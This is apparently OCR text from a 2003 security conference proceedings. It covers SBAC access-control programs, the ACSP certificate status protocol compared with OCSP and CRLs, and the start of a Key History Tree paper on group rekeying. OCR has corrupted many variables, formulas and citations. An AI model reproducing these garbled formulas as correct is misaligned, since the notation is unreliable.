of Bob’s status, the write action that Bob was permitted to perform on o7, up
until 20/12/2002, is dynamically withdrawn. Moreover, after 31/12/2002, the
read access privilege that Bob has on o7 in the interval [12/12/2002, 31/12/2002]
will be dynamically withdrawn.

A number of attractive technical results apply to the operational methods
that may be used with SBAC(¢). In particular, if a sound and complete oper-
ational method is used for evaluating access requests with respect to SBAC ()
then (i) no unauthorized access is provable (thus, safety [5] is ensured), and (ii)
all authorized access is provable (thus, availability [5] is ensured).

5 The Practical Implementation of SBAC Programs

We have implemented a range of SBAC programs to control access to our test
databases. We have used CGI as our interface mechanism. More specifically, we
used Eugene Kim’s CGIHTML package [I3]. All development work was done on
Solaris using Sun’s Forte compiler and an Apache server. Our SBAC programs
are implemented by using XSB [14]. XSB permits the well-founded semantics
of an SBAC program to be computed by using SLG-resolution [14]. The appli-
cation programs are written in C and use the XSB object module to produce
applications offering good performance. Our implementation involves passing
queries to XSB in the form of a string; returned data is obtained from an XSB
register. Access requests are made at a web-site via a dialog box in an HTML
form.
The general process followed by our applications is as follows:

1. The applications are called by the CGI server and are passed a string from
which they extract the requester agent’s access request, R.

2. R is parsed to make sure that it is syntactically correct. If not, an error
message is returned.

3. If R is syntactically correct then it is passed to XSB for evaluation.

4. XSB is initialized and reads its pre-compiled data file; it is then passed the
constructed form R¢ of R.

5. The result of evaluating R¢ is returned directly to the CGI server (embedded
in the necessary HTML, as with all data returned to the server).

Our analysis of the results of our test queries on SQL databases and extended
protected databases [15], reveal that evaluating access requests via SBAC pro-
grams incurs additional overheads of the order of a few hundredths of a second
(in the worst case). These costs are negligible relative to the communication costs
incurred in accessing a database via the web (see [9] for detailed performance
results).

6 Conclusions and Further Work

S BAC programs are succinct, they are formally well-defined, they can be used to
represent a range of access policies, they permit properties of an access policy to
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be proven, they can be efficiently implemented (in various languages), and they
can be used to protect the information in a variety of web servers and databases.
In future work on SBAC programs, we propose to investigate the issues relat-
ing to the representation and checking of application-specific constraints on a
formulation of an SBAC policy.
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Abstract. This paper proposes ACSP (Advanced Certificate Status
Protocol), a new online certificate status checking protocol. ACSP is
a flexible revocation status checking system, for ACSP allows users to
set their own recency requirements. In addition, ACSP is very efficient
because ACSP requires small computational and communicational costs
compared with OCSP in most environments. Actually, OCSP can be
considered as a special case of ACSP. We also propose ACSP+ that is a
variant of ACSP with a proxy responder.

Keywords: PKI, certificate revocation, CRL, OCSP, ACSP.

1 Introduction

As electronic commerce becomes an indispensable element of today’s Internet,
PKI (Public Key Infrastructure) is gaining a considerable attention because it
can provide security services such as authentication, confidentiality and integrity.
The main idea of PKI is a digital certificate that is a digitally signed statement
binding an entity and his public key. While we have reached the mature stage of
issuing digital certificates and evaluating them, we are in a controversial stage
when it comes to revocation. We cannot even agree on what the revocation
means [I]. In this paper, we focus our discussion on the mechanism of revocation
and this is valid whichever meaning of revocation we accept.

When a certificate is issued, its validity is limited by a pre-defined expiration
time. Since there are some instances where a certificate must be nullified prior to
its expiration time, the existence of a certificate is a necessary but not sufficient
condition for its validity. CRL (Certificate Revocation List) is the most common
mechanism for determining whether a certificate is revoked or not [3]. CRL is a
signed list of revoked certificates that is periodically issued by the CA (Certifica-
tion Authority). The most important drawback of CRL is that the size of CRL
can grow arbitrarily large. This causes unnecessary consumption of storage and
bandwidth, which cannot be tolerated in some environments. Another shortcom-
ing of CRL is that the time granularity of revocation is constrained by the CRL
issuance period. If a certificate is revoked between CRL issuance periods, people
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Korea 21 Project, and Com>MaC-KOSEF.

V. Gorodetsky et al. (Eds.): MMM-ACNS 2003, LNCS 2776, pp. 229-B40, 2003.
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can face the risk of accepting this revoked certificate as valid. To overcome these
shortcomings, some remedies can be applied: delta CRL, partitioned CRL, CRT
(Certificate Revocation Tree) [5] and their variants [6I8TT].

Since high value transaction requires that the validity of a given certificate
be checked in real-time, CRL cannot be a suitable revocation mechanism for
this application. The most popular mechanism that provides real-time status of
a certificate is OCSP (Online Certificate Status Protocol) [10], where a client
generates an “OCSP request” and a server replies to the client with an “OCSP
response.” OCSP is appropriate for applications where timeliness is of high pri-
ority. A major drawback of OCSP is the heavy load required by the server. Since
the server has to be involved in every transaction, the number of generations of
OCSP responses can be very large. Fox and LaMacchia pointed out that the
data format of a certificate could be used as that of an OCSP response to reduce
system complexity [2].

In general, the acceptor takes risks concerning his decisions about whether
certificates supplied by a signer are stale or not. Therefore, the acceptor wants
signer’s certificates to be as recent as possible. Every acceptor has his “recency
requirements.” Some acceptors will be satisfied with a day-old certificate and
others with a week-old certificate. However, recency requirements in CRL and
OCSP are determined by the CA, not by the acceptor; recency requirements in
CRL are limited by the CRL issuance period, and real-time query is the only
option in OCSP.

The first scheme providing acceptor’s flexible recency requirements was intro-
duced by Rivest [12]. His goal was the elimination of CRL by the use of acceptor’s
flexible recency requirements. However, there was no explicit revocation method
in his system. Even though he pointed out that this problem could be solved by
“suicide bureaus,” they complicate the trust model. Another scheme providing
acceptor’s flexible recency requirements, called ROD (Revocation on Demand),
was introduced by McDaniel and Rubin [7]. ROD uses a publish/subscribe mech-
anism [I4] for CRL delivery. Since ROD is based on CRL, ROD has some short-
comings inherited from CRL, e.g., high consumption of storage and bandwidth.

In this paper, we propose a new certificate revocation status checking sys-
tem called ACSP (Advanced Certificate Status Protocol) that provides accep-
tor’s flexible recency requirements. ACSP is based on OCSP for real-time status
checking. Hence, ACSP does not need bulky data like CRL. To overcome the
heavy computational load of CA, we reduced the number of generating “ACSP
responses” by certificate re-issuance technique and re-transmission of the re-
issued certificate. In most environments, ACSP requires less computational and
communicational workload compared with OCSP while providing acceptor’s flex-
ible recency requirements. We also propose ACSP+ that is a variant of ACSP
with a proxy responder.

2 Design Principles

Until now, many certificate revocation systems have been developed. However,
no revocation system can fit all PKI environments. There are some tradeoffs
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between these revocation systems. Although CRL is criticized for its unnecessary
consumption of storage and bandwidth, CRL can be the most efficient solution
in some PKI environments [7]. Therefore, we wish to clarify our design principles
behind ACSP in this section.

Requirement 1: Explicit Revocation Mechanism. To avoid cumbersome
revocation, some PKIs eliminated explicit revocation mechanisms. For example,
the short-lived certificate proposed by the WAP forum has a very short validity
period with no means of invalidation [I3]. Some fundamental questions about
short-lived certificate are presented in [9]. We will use an explicit revocation
mechanism where certificates can be revoked before its expiration time when
the circumstances dictate.

Requirement 2: Online Certificate Status Checking. Online revocation
status checking may significantly reduce the latency between a revocation report
and the distribution of the information to relying parties. After the CA accepts
the reports as authentic and valid, any response to the revocation status query
will correctly reflect the impacts of the revocation [4]. Since the acceptor requires
the revocation status information as recent as possible, online certificate status
checking can provide the best evidence for validity. Hence, our system will be
constructed based on OCSP.

Requirement 3: No Bulky Data Like CRL. The main complaint about
CRL is that the size of the revocation list can become huge. The size of CRL is
in linear proportion to the population of entire PKI users. This discourages some
devices such as mobile equipments from accommodating CRL. As our system
will be based on online status checking, we can easily do without a large data
structure like CRL.

Requirement 4: Recency Requirements Must Be Set by the Acceptor,
not by the CA [12]. In general, the acceptor, not the CA, runs the risk if his
decision is wrong. Hence, recency requirements have to be set by the acceptor,
not by the CA. Note that we used the phrase “in general” because there are
some instances where the certificate issuer takes more risks than the acceptor
[7]. The acceptors in CRL and OCSP cannot set their recency requirements. By
contrast, our system will provide acceptor’s flexible recency requirements.

Requirement 5: Acceptor Should Take Care of Certificates Not Satis-
fying His Recency Requirements. Consider the following scenario: Before
leaving on summer vacation, Alice decided to send an e-mail to Bob. Alice sent
a message with her signature and certificate. Then, she enjoyed her vacation in
a silent island. When Bob received Alice’s e-mail, he noticed that her certificate
does not satisfy his recency requirements. If Bob can take care of this certificate,
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there is no problem. However, if Alice has to deal with this certificate, Bob must
wait until she comes back from her vacation. We claim that the acceptor should
take care of certificates not satisfying acceptor’s recency requirements. This is
different from Rivest’s approach [12]. Another advantage of our approach is that
Alice does not need to know Bob’s recency requirements. If Bob changes his re-
cency requirements very often or he wants his recency requirements confidential,
our approach will be more promising.

Requirement 6: New Certificates Are the Best Evidence. Rivest argued
that the simplest form of recency evidence is just a (more-) recently issued
certificate [12]. Fox and LaMacchia pointed out that the response to a real-time
query is just another certificate [2]. Since the computational costs required to
generate an OCSP response and to issue a new certificate are the same, we prefer
to issue a new certificate as a response to a real-time query. However, this re-
issuance technique does not increase CA’s risk because the new certificate has
the same expiration time as the queried certificate.

Requirement 7: Reuse of the Existing Certificate Issuance Mecha-
nisms and Infrastructure. Fox and LaMacchia attested that we had better
leverage existing syntax, message formats and infrastructure as opposed to cre-
ating new messages [2]. They showed that the same syntax could be used to issue
a new certificate and to generate an OCSP response. We move one step further;
a new certificate will be used as a response to a real-time query and the new cer-
tificate can replace the queried certificate. To reuse the existing infrastructure,
we will abstain from introducing new agents such as suicide bureaus.

Requirement 8: Small Computational and Communicational Load.
While online certificate status checking gives the acceptor satisfactory real-time
information, CA suffers from a heavy computational and communicational work-
load. Fox and LaMacchia’s system improved OCSP by using the same syntax
for a certificate and an OCSP response, but the number of OCSP responses
generated by CA did not decrease [2]. To mitigate CA’s workload, we will re-
duce the number of CA’s responses and total communication passes. In most
environments, our system will show a better performance than OCSP.

In the next section, we will propose ACSP, an advanced online certificate
status checking protocol. ACSP is constructed on the above design principles.
After we explain the mechanism of ACSP, we present an analysis of ACSP.
It will be shown that ACSP is more flexible and efficient than OCSP in most
environments.

3 ACSP

3.1 Mechanism

We adopt the model presented in [2] as a typical financial transaction model.
There are three parties of interest: Alice (the signer who sells the financial trans-
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action), Bob (the acceptor who buys the financial transaction) and the CA. Be-
fore any transaction occurs, Alice generates her public key/private key pair and
submits a certificate issuance request to the CA. If this request satisfies the CA’s
certificate issuance policy, CA replies to Alice with a certificate C'ert that binds
Alice’s name and her public key. Let the validity period of Cert be from ¢; to to.
We assume that t; is the certificate issuance time and to denotes the expiration
time. When Alice wants to send a message M to Bob, she signs M and sends
the message with the signature value S and the certificate Cert. After receiving
M, S and Cert, Bob decides whether he accepts this message or not according
to his acceptance policy.

We define the acceptor, Bob’s recency period t. If the signer, Alice’s certifi-
cate Cert is within time ¢ from the certificate issuance time ¢;, Bob trusts this
certificate as valid without checking its revocation status. In case Alice’s certifi-
cate Cert is not within time ¢ from the certificate issuance time t;, Bob queries
whether Cert is revoked or not to the CA. Hence, Bob’s recency period ¢ is a
kind of recency requirement. If Bob sets ¢ as a very short time, he will enjoy
almost real-time certificate revocation status. If Bob sets ¢ as a very long time,
he will skip revocation status checking processes for many certificates to shorten
the overall processing time. Since every acceptor may have his own recency pe-
riod ¢, and change his recency period ¢ arbitrarily, ACSP can be used in a very
flexible manner.

To answer Bob’s query, CA generates an ACSP response@. If Alice’s certificate
Cert is not revoked, CA issues a new certificate Cert’ as the ACSP response
to Bob. Cert’ contains the same information as Cert except that the validity
period of Cert’ is from t, to ta, where ¢, is Bob’s query time. This can be seen
as a certificate renewal process of Alice’s certificate. After receiving the ACSP
response Cert’, Bob forwards Cert’ to Alice, who can replace Cert with Cert’.
This certificate re-issuance technique together with recency period ¢ will improve
the system performance. If Alice’s Cert is already revoked at tg, where tp < 4,
the CA issues a new certificate Cert’, whose validity period of Cert’ is from t;
to tr. Bob can conclude that Alice’s certificate Cert is already revoked, for the
ACSP response Cert’ is an expired certificate. Additionally, Bob knows the fact
that Cert was revoked at . Note that the generation of an ACSP response does
not take more risks than that of an OCSP response, since the expiration time
of an ACSP response is the same as that of queried certificate and an OCSP
response is just another certificate [2].

The ACSP response Cert’ can be generated by use of exiting certificate
issuance mechanisms and infrastructure.

At this point, we will present our new online certificate status checking pro-
tocol, ACSP. There are two types of ACSP and their performances are not much
different.

! The ACSP request/response may include other information such as a protocol ver-
sion and optional extensions. However, we do not consider these implementation
details.
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Fig.1. ACSP (I)
3.1.1 ACSP (I).

STEP1. Alice sends a message M with a signature value S, and the certificate
Cert.

If Alice’s certificate satisfies Bob’s recency period, he accepts Alice’s cer-
tificate as valid and halts ACSP protocol. Otherwise, the following steps are
executed.

STEP2. Bob sends an ACSP request to the CA in order to check whether Cert
is revoked or not.

STEP3. The CA checks the revocation status of Cert. As an ACSP response,
the CA generates a new certificate Cert’ and sends Cert’ to Bob. After receiving
the ACSP response Cert’, Bob can decide whether Alice’s certificate Cert is
revoked or not.

STEP4. Bob sends the re-issued certificate Cert’ to Alice and she may replace
Cert with Cert’.

In case Alice’s certificate Cert satisfies Bob’s recency period ¢, i.e. t; —t; <'t,
STEP2, STEP3 and STEP4 are not executed. Therefore, the CA does not need
to be involved in this transaction. This relieves CA’s workload.

In case Alice’s certificate Cert does not satisfy Bob’s recency period ¢, i.e.
ty —t1 > t, STEP2, STEP3 and STEP4 are executed. If Cert is not revoked,
the CA generates an ACSP response Cert’, where Cert’ is a new certificate of
which validity period is from ¢, to t;. Bob forwards this new certificate Cert’ to
Alice, and Alice can replace Cert with Cert’. Since the issuance time ¢; of Cert
is replaced by the new issuance time ¢, of Cert’, Alice’s new certificate Cert’
will satisfy most acceptors’ recency periods in the following transactions.

Note that STEP4 can be omitted if Bob does not want to send Cert’ to Alice,
or if Alice does not want to replace Cert with Cert’. There is no harmful effect
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of skipping STEP4. The only negative effect is that the issuance time of Alice’s

certificate is not renewed.

In ACSP (I), Bob forwards Cert’ to Alice in STEP4. Instead, the CA can

send Cert’ to both Bob and Alice in STEP3. ACSP (II) adopts this change.

3.1.2 ACSP (II).

STEP1, STEP2. The same as ACSP (I).

STEP3. The CA checks the revocation status of Cert. As an ACSP response,
the CA generates a new certificate Cert’ and sends Cert’ to both Bob and
Alice. After receiving the ACSP response Cert’, Bob can decide whether Alice’s

certificate Cert is revoked or not, and Alice may replace Cert with Cert’.

T CA

| "

. STEP 3 STEP2 | | STEP 3

) ¥
Signer ™  Acceptor

Fig. 2. ACSP (II)

STEP 1

ACSP (II) can be executed a little faster than ACSP (I). Note that the CA
can omit to send Cert’ to Alice in STEP3. The only negative effect of this

omission is that the issuance time of Alice’s certificate is not renewed.

3.2 Analysis

ACSP satisfies the design principles explained in Section 2 as follows:

Requirement 1: Explicit Revocation Mechanism. Certificates can be re-

voked prior to its expiration time.

Requirement 2: Online Certificate Status Checking. When signer’s cer-
tificate does not satisfy acceptor’s recency period, the acceptor obtains real-time
revocation status from the CA.
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Requirement 3: No Bulky Data Like CRL. There is no bulky data like
CRL in ACSP.

Requirement 4: Recency Requirements Must Be Set by the Acceptor,
not by the CA. Every acceptor can set his own recency period and change the
recency period arbitrarily. If the acceptor sets ¢t = 0, he can obtain the revocation
status information equivalent to an OCSP response.

Requirement 5: Acceptor Should Take Care of Certificates not Satis-
fying His Recency Requirements. When signer’s certificate does not satisfy
the acceptor’s recency period, the acceptor can proceed without the signer’s
help.

Before going on the analysis, we compare ACSP with previous revocation
status checking systems in the above aspects. Tabl. 1 shows the results.

Table 1. The comparison of various revocation status checking protocols

CRL[3]|ROD(Z] |Short lived[13]|Rivest[12]*|OCSP[3]|ACSP
Requirement 1 | Yes Yes No No Yes Yes
Requirement 2 | No No No No Yes Yes
Requirement 3 | No No Yes Yes Yes Yes
Requirement 4 | No Yes No Yes No Yes
Requirement 5 | Yes Yes Yes No Yes Yes

* Rivest’s system without a suicide bureau was compared in this table.

Requirement 6: New Certificates Are the Best Evidence. New certifi-
cates are used as ACSP responses.

Requirement 7: Reuse of the Existing Certificate Issuance Mecha-
nisms and Infrastructure. The generation module of ACSP responses can
be constructed by use of the existing certificate issuance mechanisms and infras-
tructure. For the case of ¢ = 0, we can define the OCSP response as the ACSP
response and this guarantees the compatibility of the two systems. In addition,
ACSP does not introduce new agents such as suicide bureaus.

Requirement 8: Small Computational and Communicational Load.
Since ACSP is a kind of online certificate status checking system, we will compare
ACSP with the most famous online certificate status checking system, OCSP.
Note that [2] has the same computational and communicational workload as
OCSP.

For simplicity, we assume the case where one signer communicates with many
acceptors. This analysis can be easily extended to the case where many signers
communicate with many acceptors. We define the following parameters:
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T': The validity period of signer’s certificate

(T =ty — t1, where t; is the issuance time and ¢ is the expiration time)
t: Acceptors’ average recency period

(T = n x t, where we assume that n is an integer)

q: The average number of transactions between the signer and the ac-
ceptors during the recency period ¢

The signer has ng transactions with the acceptors, during 7', the validity
period of signer’s certificate. In OCSP, the CA has to be involved in every trans-
action and generate an OCSP response for each ng transaction. However, ACSP
responses are generated only n times in average, because signer’s certificate is
replaced by a new certificate in every recency period t and this new certificate
satisfies acceptors’ recency periods during ¢ in average. To generate OCSP or
ACSP response, the CA needs the computational load of one signature genera-
tion. Hence, the number of signature generation performed by the CA is ng in
OCSP, and n in ACSP.

When an acceptor receives a message from a signer, the acceptor has to decide
whether signer’s certificate is valid or not. For this decision, the acceptor may
need more communications with the CA and the signer. We will consider this
communicational overhead. In OCSP, the acceptor has to send an OCSP request
and the CA has to send an OCSP response for each ng transaction. Therefore,
the communicational overhead of OCSP is 2nq. In ACSP, the acceptor does not
need additional communications if signer’s certificate satisfies acceptor’s recency
period. If signer’s certificate does not satisfy acceptor’s recency period, three
more passes are needed. Hence, the communicational overhead of ACSP is 3n in
average.

Tabl. 2 summarizes the above analysis. As you can see, ACSP reduced CA’s
signature generation by 1/q. The computational cost of ACSP is much cheaper
than that of OCSP.

Table 2. The comparison of efficiency in OCSP and ACSP

CA’s signature generation | Communicational overhead
OCSP ng 2nq
ACSP n 3n

In communicational overhead, OCSP requires 2nq additional communication
passes, while ACSP needs 3n additional communication passes. Therefore, if g is
greater than 1.5, i.e. if there are more than or equal to two transactions during
t, ACSP requires smaller communicational overhead than OCSP.

For very small g, the size of total packets in ACSP can be larger than that
in OCSP, because the size of an ACSP response is larger than that of an OCSP
response. This can be the only drawback of ACSP, but the size of total packets
in ACSP becomes smaller than that in OCSP as the value of ¢ grows.
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4 ACSP+

4.1 Mechanism

In on-line certificate revocation status checking protocols, the response can be
signed by the CA or other trusted parties. For example, the key used to sign an
OCSP response can belong to one of the following [10]:

1. the CA who issued the certificate in question

2. a Trusted Responder whose public key is trusted by the acceptor

3. a CA designated responder (authorized responder) who holds a specially
marked certificate issued directly by the CA, indicating that the responder
may issue responses for that CA

If we adopt a proxy responder, the CA need not involve in the revocation sta-
tus checking process. This improves the scalability of revocation status checking
system.

To construct ACSP+ (ACSP with a proxy responder), we have to make some
changes in ACSP, since the proxy responder cannot issue a new certificate as a
response. Firstly, an ACSP+ response is a signed message indicating that the
queried certificate is valid at time ¢,, and the signer transmits this response
with Cert, thereafter. Secondly, acceptor’s recency period is checked against an
ACSP+ response rather than against a certificate.

At this point, we will present ACSP+ in which a proxy responder involves.
As ACSP, there are two types of ACSP+ and their performances are not much
different.

4.1.1 ACSP+ (I).

STEP1. Alice sends a message M with a signature value S, her certificate Cert
and the previous ACSP+ response R.

If the previous ACSP+ response R satisfies Bob’s recency period, he ac-
cepts Alice’s certificate as valid and halts the ACSP+ protocol. Otherwise, the
following steps are executed.

STEP2. Bob sends an ACSP+ request to a proxy responder in order to check
whether Cert is revoked or not.

STEP3. The proxy responder checks the revocation status of Cert and sends
an ACSP+ response R’ to Bob. After receiving the ACSP+ response R’, Bob
can decide whether Alice’s certificate Cert is revoked or not.

STEP4. Bob sends the ACSP+ response R’ to Alice and she replaces the
previous ACSP+ response R with the new ACSP~+ response R'.
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4.1.2 ACSP+ (II).
STEP1, STEP2. The same as ACSP+ (I).

STEP3. The proxy responder checks the revocation status of Cert and sends
the ACSP+ response R’ to both Bob and Alice. After receiving the ACSP+ re-
sponse R/, Bob can decide whether Alice’s certificate Cert is revoked or not, and
Alice replaces the previous ACSP+ response R with the new ACSP+ response
R.

4.2 Analysis

The basic facts about ACSP in Tabl. 1 are true for ACSP+. However, an ACSP-+
response is not a new certificate even though new certificates are the best evi-
dence (Requirement 6). This stems from the exclusion of the CA in the revocation
status checking process.

Since ACSP and ACSP+ have the same number of response signing, the
responder’s computational costs in the two systems are the same. The number of
communicational passes in ACSP and ACSP+ are also equal. Hence, the analysis
in Tabl. 2 holds good for ACSP+. However, the signer in ACSP+ sends the
previous ACSP+ response R with Cert, which consumes more communicational
bandwidth. Note that the size of an ACSP+ response is smaller than that of an
ACSP response because the ACSP+ response can contain only necessary fields.

The choice between ACSP and ACSP+ is dependent on the system designer’s
preference.

5 Conclusions

High value transaction requires that the validity of a given certificate can be
checked in real-time. In this paper, we proposed ACSP, an advanced online cer-
tificate status checking protocol. ACSP improved OCSP, the most popular online
certificate status checking protocol, in two aspects: flexibility and efficiency. If
we define the OCSP response as the ACSP response for ¢ = 0 (i.e., an accep-
tor’s recency period is zero), the compatibility of the two systems is guaranteed.
When the use of proxy responders is desirable, ACSP+ can be a good solution.
We hope this work to stimulate research in online certificate status checking
mechanisms.
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Key History Tree: Efficient Group Key
Management with Off-Line Members

Antonio Lain and Viacheslav Borisov*

HP Labs, Bristol, UK

Abstract. We present a new approach to deal with off-line members
that are part of a secure dynamic group, where all the group members
share a secret key, and this key is continuously changed to match cur-
rent membership. Instead of re-negotiating keys when members become
off-line or forcing direct interaction with the key manager, we propose a
safe caching mechanism particularly suited for LKH (Logical Key Hier-
archy) schemes. The basis of our approach is that in many applications,
members that are back on-line just need to know the current key and
not all the intermediate keys negotiated while they were off-line. We have
devised a compact representation for that purpose called KHT (Key His-
tory Tree). A KHT is built using only publicly available information, so it
can be safely replicated over the network, and its operation is transparent
to clients and key managers. We use as an example of the benefits of our
approach a web-based subscription service that anonymizes customer in-
teractions while enforcing membership payments. Extensive simulations
show the advantage of our approach over more conventional schemes.

1 Introduction

Many applications require an efficient and secure mechanism to distribute infor-
mation to a dynamically changing trusted community. Mechanisms that satisfy
this requirement form a secure group that share a secret key. This key is up-
dated when a new member joins the group (backward confidentiality) or leaves
it (forward confidentiality). We will assume in the rest of this paper that there is
a Key Manager (KM) responsible for controlling this shared key, and therefore,
the membership of the group. A trivial implementation of a member eviction will
require a private communication of the KM with each of the remaining members,
so that they can learn the new key. However, in order to make this rekeying op-
eration more scalable, there are well-known techniques that combine a multicast
transport with a Logical Key Hierarchy (LKH) [I], reducing the complexity of
this operation to logarithmic with the size of the group.

Unfortunately, robust key management in these schemes requires that mem-
bers are always on-line to reliably receive key updates on a timely manner. This
can limit the applicability of these schemes when the community is large and
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loosely coupled, or when the connectivity between members is poor, or just
simply when the most common behaviour of a member is to be off-line. In these
cases it can be too expensive to assume that members are (implicitly) evicted
as they go off-line.

Our approach to deal with off-line members benefits from the fact that, when
a group member becomes active again, he is usually just interested in the key
currently used by the group, and not in all the intermediate keys that were in
use while he was off-line. Therefore, we have devised a data structure that we
call the Key History Tree (KHT) that uses this property to merge all the key
updates multicast by a KM into a very compact representation. KHTs contain
only publicly available information, i.e., encrypted keys, so that they can be
safely cached in different parts of the network. This simplifies the way that the
manager of the KHT receives updates reliably from the KM, ensuring that its
information is easily multicast to members when they are back online.

Moreover, off-line members keep state associated with previously known keys,
and this can help us to prune the KHT. In particular, we define the KHT Working
Set (KHT-WS) to be the minimal subset of this tree that is needed so that all
the valid group members can obtain the current key. Unfortunately, to compute
the WS, we need to know the exact rekeying status of our group members and
some of them are off-line. Therefore, we provide a set of heuristics to prune the
KHT that give us an estimate of this WS without needing global knowledge.
These heuristics are based on previous behaviour, relative importance of the
nodes, and “ageing” information associated with the node keys.

KHT is particularly suited for Anonymous Group Content Delivery (AGCD).
On the one hand, the server enforces that content is only visible to current group
members. On the other hand, the group members want to avoid the server track-
ing what content they access. As the group membership can be very dynamic,
efficient delivery should allow multicast or cached content, and most members
are likely to be off-line most of the time. Encrypting all content with a group
key is an obvious solution, but the management of this shared key must handle
off-line members well. Our solution annotates the subscribed content with an
estimate of the KHT-WS to facilitate the handling of off-line members.

The rest of this paper is organized as follows: Section [ discusses related
work. Section [3] explains in more detail the KHT data structure and algorithms.
Section @l describes an implementation of AGCD using a KHT. Section [l presents
some simulation results showing the performance of KHT for the AGCD appli-
cation discussed above. Finally, Section [6] discusses our conclusions.

2 Related Work

Secure multicast and scalable re-keying for dynamic groups is a well established
field [2l8[4]. In particular, we are building on the work on LKH described in [1].
On-going standardization efforts will provide seamless integration of these algo-
rithms with commonly used network security protocols, e.g., IPSEC [5l6].
Reliability of group re-keying, with a focus on key recovery for on-line mem-
bers when there are failures in the multicast transport is discussed in [7]. Their
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schemes assume that only a few key updates are lost, or that members will always
be able to take an immediate recovery action. Extreme examples of this approach
are key distribution mechanisms that assume a reliable group communication
middleware underneath, e.g., extended virtual synchrony semantics, in order to
update the keys reliably [8].

In the context of secure distribution of copyright protected material, it has
been carefully studied how to encrypt broadcast content so that only a dynami-
cally changing group can decrypt it (see broadcast encryption [9]), and how to
trace and exclude possible “traitors” that leak information [I0]. Typically, these
schemes assume a single source and do not deal with an arbitrary number of
“traitors” colluding. Moreover, in some cases they also assume that clients cannot
update state dynamically, and this can make growing revocation information
unmanageable. On the contrary, in our approach we assume that clients update
state regularly when they are online, so we can bound the amount of revocation
information needed by making educated guesses of their state.

The closest work to our approach is discussed by Pinkas in [I1]. The focus
of that paper is how to minimize the amount of information needed to recover
a client that is back on-line after missing some LKH key updates. However,
it is assumed that this information is optimized for a particular client, and
downloaded directly from the KM. Instead, we make this information client
agnostic, so that it can be multicast, and always derived from “public” infor-
mation, so that the KM does not need to get directly involved.

3 Key History Tree (KHT)

3.1 Overview

LKH is a tree based group rekeying algorithm proposed by Wallner et al. [I].
There is a single KM, i.e., LKH-KM, that creates a hierarchy of keys, associates
each member with a leaf of that tree, and communicates to each of them, within
an authenticated session, all the keys in the path from that leaf to the root.
Therefore, the root key is known by all the group members and can be used to
guarantee integrity and confidentiality of group communications. Whenever the
KM adds a new member, keys disclosed to that member preserve backward confi-
dentiality by hashing them, i.e., we assume LKH+ as described in [3]. Whenever
the KM evicts a member, forward confidentiality is guaranteed by changing all
the keys this member knows, and getting all the relevant members (but him)
to know them. For this task LKH proceeds bottom up, changing one key at a
time, and using this new key to encrypt the new key in the next level up. For
the nodes whose keys are changed, we must also encrypt the new keys with the
keys of their siblings, so that all the valid group members can decrypt them. All
these encrypted key updates are then multicast by the KM to the group.

Fig. [[] shows how KHT uses LKH. Requests to add or remove members
of a group are still directly handled by the LKH-KM. However, key update
information triggered by these interactions is first pre-processed by the KHT
Cache Manager (KHT-CM), instead of being directly broadcast to the group



244 A. Lain and V. Borisov

KHT key
Group A update KHT
Cache
Manager
4| LKH key
update
User 1
‘{//// Add/Remove user LKH
> Key
Manager
User 2

Fig. 1. Overview of the key management strategy

by the LKH-KM. During this pre-processing, the KHT-CM uses information
from previous key updates, so that users are more likely to recover using the
transformed update if they have been off-line. Moreover, to minimize the increase
in size of the update, the cache prunes contextual information that is likely to
be already known by group members. However, this means that on some rare
occasions, even with this extra information a user may still not recover. In this
case he will re-register directly with the LKH-KM.

The proposed design makes the KHT caching as “transparent” as possible.
First, the KHT-CM neither mediates authenticated interactions between users
and the LKH-KM, nor needs to decrypt key updates from the KM. Therefore,
if it gets compromised it could perform a denial of service attack, but not an
attack that compromises the confidentiality of the group keys. Moreover, key
information updates from the LKH-KM use the same format as the ones obtained
from the cache; this makes possible to add single or multiple levels of caching
without modifying clients of an existing LKH implementation. Finally, the LKH-
KM does not need to be aware that its content is being cached because the only
interaction with the KHT-CM is to “forward” authenticated messages to be
broadcast.

KHT offers robustness for group rekeying with off-line members when it is
undesirable to either rekey every time a member becomes off-line or trigger an
expensive recovery action when back on-line. This is the case when members
are off-line frequently, the group membership is very large, or it is impossible to
accurately determine who is on-line at a particular time. Well-suited applications
include wireless secure group communications among low power devices, loosely
coupled secure groups that only synchronize keys from time to time due to
connectivity restrictions, and anonymous subscription services, such as AGCD,
the focus of our simulation efforts in Section [5l

3.2 Updating the KHT

A KHT is implemented by a simple data structure that summarizes all the public
information that the KM multicasts, so that any group member can compute
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the current key regardless of how many updates he missed while off-line. It is
created and maintained by the KHT-CM, which does not have any internal
knowledge of the group structure. The KHT has the same overall structure as
the LKH tree but each node contains, for each of its descendents, the latest
multicast encrypted record of its key that uses the corresponding descendant
key for this encryption. However, since the tree has to be inferred from multicast
information, and information such as the position of a newly added member is
not multicast, it cannot exactly track the original tree. Fortunately, this is not a
serious limitation if certain conventions are followed, as we will explain later on.

Fig.[2lshows an example of how the KHT changes when, as a result of member
evictions and additions, the KHT-CM processes key updates from the LKH-KM.
In this discussion we assume a binary KHT, although it can be easily generalized
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Algorithm 1 KHT-CM updates the KHT with E(K?, K]™)

Create in KHT empty nodes in path from root to 1 (if not present)
Find node N in KHT at position 1
IF i is even //left child {

Find E(K_i"x,K_1"y) the left child record of N

IF ((m > y) AND (j >= x))

Overwrite E(K_i"x,K_1"y) with E(K_i"j,K_1"m)

} else //right child

Same with the right record ...

to n-ary trees. A node i of the LKH tree has a corresponding key Kf, where ¢ is
the position in the tree of that noddﬂ, and j is the version number of this key,
initially zero and incremented by one every time the key changes. We assume
that an encrypted key update record, such as E(K?2, K1), where the key at node
3 with version number 1 is encrypted by the key at node 7 with version number
0, contains node and version information in clear for both keys. We also assume
a “lazy” approach to key hashing during additions, where the need for hashing
a key before using it is implied by a gap in version numbers. Moreover, we deal
with partial knowledge of the tree structure by forcing that: when a leaf splits
into two nodes, the previous leaf always occupies the leftmost position; and also,
we only prune leaves and not internal nodes with a single descendent.

When in Fig. [ “user3” is evicted, the LKH KM changes K to Ki and
encrypts Ki with K2, i.e., creating update E(K?Y, K1), so that “user4” can learn
the new key. Then, the KM changes K} to Kjand encrypts it with the new key
K1} and the key of the sibling node K9, i.e., generating updates E(K3, K{) and
E(KY, K1), so that all group members but “user3” can learn the new root key
K. After receiving these encrypted key updates, the KHT-CM detects that there
is a new node 3 because of the update E(K?, K1), allocates a new node for it,
and stores that record as a key of a right child because 7 is an odd number. Also,
it updates the left and right child holders of the root node with E(KY, K1) and
E(K}, K1), respectively. Later, “user” is added to the group, and keys K3 and
K1 are hashed to obtain K3 and K%, so that the disclosure of keys K¢, K2 and
